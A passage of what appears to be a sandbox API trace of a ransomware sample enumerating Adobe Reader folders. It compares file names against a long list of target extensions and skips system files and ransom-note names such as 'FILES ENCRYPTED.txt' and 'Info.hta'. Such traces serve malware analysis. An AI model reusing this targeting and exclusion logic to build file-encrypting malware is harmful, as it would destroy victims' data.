dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.630] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0261.630] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es") returned 105 [0261.630] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es") returned 1 [0261.630] lstrlenW (lpString="eu-es") returned 5 [0261.630] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="eu-es") returned -1 [0261.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0261.630] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es") returned 105 [0261.630] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0261.632] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.632] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.632] lstrlenW (lpString="ui-strings.js") returned 13 [0261.632] lstrlenW (lpString=".1cd") returned 4 [0261.632] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.632] lstrlenW (lpString=".3ds") returned 4 [0261.632] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.632] lstrlenW (lpString=".3fr") returned 4 [0261.632] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.632] lstrlenW (lpString=".3g2") returned 4 [0261.632] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.632] lstrlenW (lpString=".3gp") returned 4 [0261.632] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.632] lstrlenW (lpString=".7z") returned 3 [0261.632] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.632] lstrlenW (lpString=".accda") returned 6 [0261.632] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.632] lstrlenW (lpString=".accdb") returned 6 [0261.632] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.632] lstrlenW (lpString=".accdc") returned 6 [0261.632] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.632] lstrlenW (lpString=".accde") returned 6 [0261.632] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.632] lstrlenW (lpString=".accdt") returned 6 [0261.633] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.633] lstrlenW (lpString=".accdw") returned 6 [0261.633] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.633] lstrlenW (lpString=".adb") returned 4 [0261.633] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".adp") returned 4 [0261.633] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".ai") returned 3 [0261.633] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.633] lstrlenW (lpString=".ai3") returned 4 [0261.633] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".ai4") returned 4 [0261.633] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".ai5") returned 4 [0261.633] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".ai6") returned 4 [0261.633] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".ai7") returned 4 [0261.633] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".ai8") returned 4 [0261.633] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".anim") returned 5 [0261.633] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.633] lstrlenW (lpString=".arw") returned 4 [0261.633] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.633] lstrlenW (lpString=".as") returned 3 [0261.634] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.634] lstrlenW (lpString=".asa") returned 4 [0261.634] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.634] lstrlenW (lpString=".asc") returned 4 [0261.634] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.634] lstrlenW (lpString=".ascx") returned 5 [0261.634] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.634] lstrlenW (lpString=".asm") returned 4 [0261.634] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.634] lstrlenW (lpString=".asmx") returned 5 [0261.634] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.634] lstrlenW (lpString=".asp") returned 4 [0261.634] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.634] lstrlenW (lpString=".aspx") returned 5 [0261.634] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.634] lstrlenW (lpString=".asr") returned 4 [0261.634] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.634] lstrlenW (lpString=".asx") returned 4 [0261.634] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.634] lstrlenW (lpString=".avi") returned 4 [0261.634] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".avs") returned 4 [0261.635] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".backup") returned 7 [0261.635] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.635] lstrlenW (lpString=".bak") returned 4 [0261.635] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".bay") returned 4 [0261.635] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".bd") returned 3 [0261.635] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.635] lstrlenW (lpString=".bin") returned 4 [0261.635] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".bmp") returned 4 [0261.635] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".bz2") returned 4 [0261.635] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".c") returned 2 [0261.635] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.635] lstrlenW (lpString=".cdr") returned 4 [0261.635] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".cer") returned 4 [0261.635] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".cf") returned 3 [0261.635] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.635] lstrlenW (lpString=".cfc") returned 4 [0261.635] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.635] lstrlenW (lpString=".cfm") returned 4 [0261.635] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.636] lstrlenW (lpString=".cfml") returned 5 [0261.636] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.636] lstrlenW (lpString=".cfu") returned 4 [0261.636] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.636] lstrlenW (lpString=".chm") returned 4 [0261.636] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.636] lstrlenW (lpString=".cin") returned 4 [0261.636] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.636] lstrlenW (lpString=".class") returned 6 [0261.636] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.636] lstrlenW (lpString=".clx") returned 4 [0261.636] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.636] lstrlenW (lpString=".config") returned 7 [0261.636] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.636] lstrlenW (lpString=".cpp") returned 4 [0261.636] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.636] lstrlenW (lpString=".cr2") returned 4 [0261.636] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.636] lstrlenW (lpString=".crt") returned 4 [0261.636] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.636] lstrlenW (lpString=".crw") returned 4 [0261.637] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".cs") returned 3 [0261.637] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.637] lstrlenW (lpString=".css") returned 4 [0261.637] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".csv") returned 4 [0261.637] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".cub") returned 4 [0261.637] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".dae") returned 4 [0261.637] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".dat") returned 4 [0261.637] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".db") returned 3 [0261.637] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.637] lstrlenW (lpString=".dbf") returned 4 [0261.637] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".dbx") returned 4 [0261.637] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".dc3") returned 4 [0261.637] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".dcm") returned 4 [0261.637] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".dcr") returned 4 [0261.637] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.637] lstrlenW (lpString=".der") returned 4 [0261.638] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.638] lstrlenW (lpString=".dib") returned 4 [0261.638] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.638] lstrlenW (lpString=".dic") returned 4 [0261.638] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.638] lstrlenW (lpString=".dif") returned 4 [0261.638] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.638] lstrlenW (lpString=".divx") returned 5 [0261.638] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.638] lstrlenW (lpString=".djvu") returned 5 [0261.638] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.638] lstrlenW (lpString=".dng") returned 4 [0261.638] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.638] lstrlenW (lpString=".doc") returned 4 [0261.638] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.638] lstrlenW (lpString=".docm") returned 5 [0261.638] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.638] lstrlenW (lpString=".docx") returned 5 [0261.638] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.638] lstrlenW (lpString=".dot") returned 4 [0261.638] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.638] lstrlenW (lpString=".dotm") returned 5 [0261.638] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.638] lstrlenW (lpString=".dotx") returned 5 [0261.638] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.638] lstrlenW (lpString=".dpx") returned 4 [0261.639] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".dqy") returned 4 [0261.639] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".dsn") returned 4 [0261.639] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".dt") returned 3 [0261.639] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.639] lstrlenW (lpString=".dtd") returned 4 [0261.639] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".dwg") returned 4 [0261.639] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".dwt") returned 4 [0261.639] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".dx") returned 3 [0261.639] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.639] lstrlenW (lpString=".dxf") returned 4 [0261.639] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".edml") returned 5 [0261.639] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.639] lstrlenW (lpString=".efd") returned 4 [0261.639] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".elf") returned 4 [0261.639] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.639] lstrlenW (lpString=".emf") returned 4 [0261.639] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".emz") returned 4 [0261.640] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".epf") returned 4 [0261.640] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".eps") returned 4 [0261.640] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".epsf") returned 5 [0261.640] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.640] lstrlenW (lpString=".epsp") returned 5 [0261.640] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.640] lstrlenW (lpString=".erf") returned 4 [0261.640] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".exr") returned 4 [0261.640] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".f4v") returned 4 [0261.640] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".fido") returned 5 [0261.640] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0261.640] lstrlenW (lpString=".flm") returned 4 [0261.640] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".flv") returned 4 [0261.640] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".frm") returned 4 [0261.640] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0261.640] lstrlenW (lpString=".fxg") returned 4 [0261.641] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0261.641] lstrlenW (lpString=".geo") returned 4 [0261.641] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0261.641] lstrlenW (lpString=".gif") returned 4 [0261.641] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0261.641] lstrlenW (lpString=".grs") returned 4 [0261.641] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0261.641] lstrlenW (lpString=".gz") returned 3 [0261.641] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0261.641] lstrlenW (lpString=".h") returned 2 [0261.641] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0261.641] lstrlenW (lpString=".hdr") returned 4 [0261.641] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0261.641] lstrlenW (lpString=".hpp") returned 4 [0261.641] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0261.641] lstrlenW (lpString=".hta") returned 4 [0261.642] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".htc") returned 4 [0261.642] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".htm") returned 4 [0261.642] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".html") returned 5 [0261.642] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0261.642] lstrlenW (lpString=".icb") returned 4 [0261.642] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".ics") returned 4 [0261.642] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".iff") returned 4 [0261.642] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".inc") returned 4 [0261.642] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".indd") returned 5 [0261.642] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0261.642] lstrlenW (lpString=".ini") returned 4 [0261.642] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".iqy") returned 4 [0261.642] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".j2c") returned 4 [0261.642] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".j2k") returned 4 [0261.642] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".java") returned 5 [0261.642] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0261.642] lstrlenW (lpString=".jp2") returned 4 [0261.642] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0261.642] lstrlenW (lpString=".jpc") returned 4 [0261.643] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0261.643] lstrlenW (lpString=".jpe") returned 4 [0261.643] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0261.643] lstrlenW (lpString=".jpeg") returned 5 [0261.643] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0261.643] lstrlenW (lpString=".jpf") returned 4 [0261.643] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0261.643] lstrlenW (lpString=".jpg") returned 4 [0261.643] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0261.643] lstrlenW (lpString=".jpx") returned 4 [0261.643] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0261.643] lstrlenW (lpString=".js") returned 3 [0261.643] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0261.643] lstrlenW (lpString="ui-strings.js") returned 13 [0261.643] lstrlenW (lpString=".love$") returned 6 [0261.643] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0261.643] lstrlenW (lpString="ui-strings.js") returned 13 [0261.643] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0261.643] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0261.643] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0261.643] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0261.643] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0261.643] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0261.643] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0261.643] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0261.643] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js") returned 119 [0261.643] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.644] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0261.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.644] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0261.644] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi") returned 105 [0261.644] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi") returned 1 [0261.644] lstrlenW (lpString="fi-fi") returned 5 [0261.644] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-fi") returned -1 [0261.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0261.644] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi") returned 105 [0261.644] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0261.645] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.645] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.646] lstrlenW (lpString="ui-strings.js") returned 13 [0261.646] lstrlenW (lpString=".1cd") returned 4 [0261.646] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.646] lstrlenW (lpString=".3ds") returned 4 [0261.646] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.646] lstrlenW (lpString=".3fr") returned 4 [0261.646] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.646] lstrlenW (lpString=".3g2") returned 4 [0261.646] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.646] lstrlenW (lpString=".3gp") returned 4 [0261.646] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.646] lstrlenW (lpString=".7z") returned 3 [0261.646] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.646] lstrlenW (lpString=".accda") returned 6 [0261.646] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.646] lstrlenW (lpString=".accdb") returned 6 [0261.646] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.646] lstrlenW (lpString=".accdc") returned 6 [0261.646] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.646] lstrlenW (lpString=".accde") returned 6 [0261.646] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.646] lstrlenW (lpString=".accdt") returned 6 [0261.646] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.646] lstrlenW (lpString=".accdw") returned 6 [0261.646] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.646] lstrlenW (lpString=".adb") returned 4 [0261.646] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".adp") returned 4 [0261.647] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".ai") returned 3 [0261.647] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.647] lstrlenW (lpString=".ai3") returned 4 [0261.647] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".ai4") returned 4 [0261.647] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".ai5") returned 4 [0261.647] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".ai6") returned 4 [0261.647] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".ai7") returned 4 [0261.647] lstrcmpiW 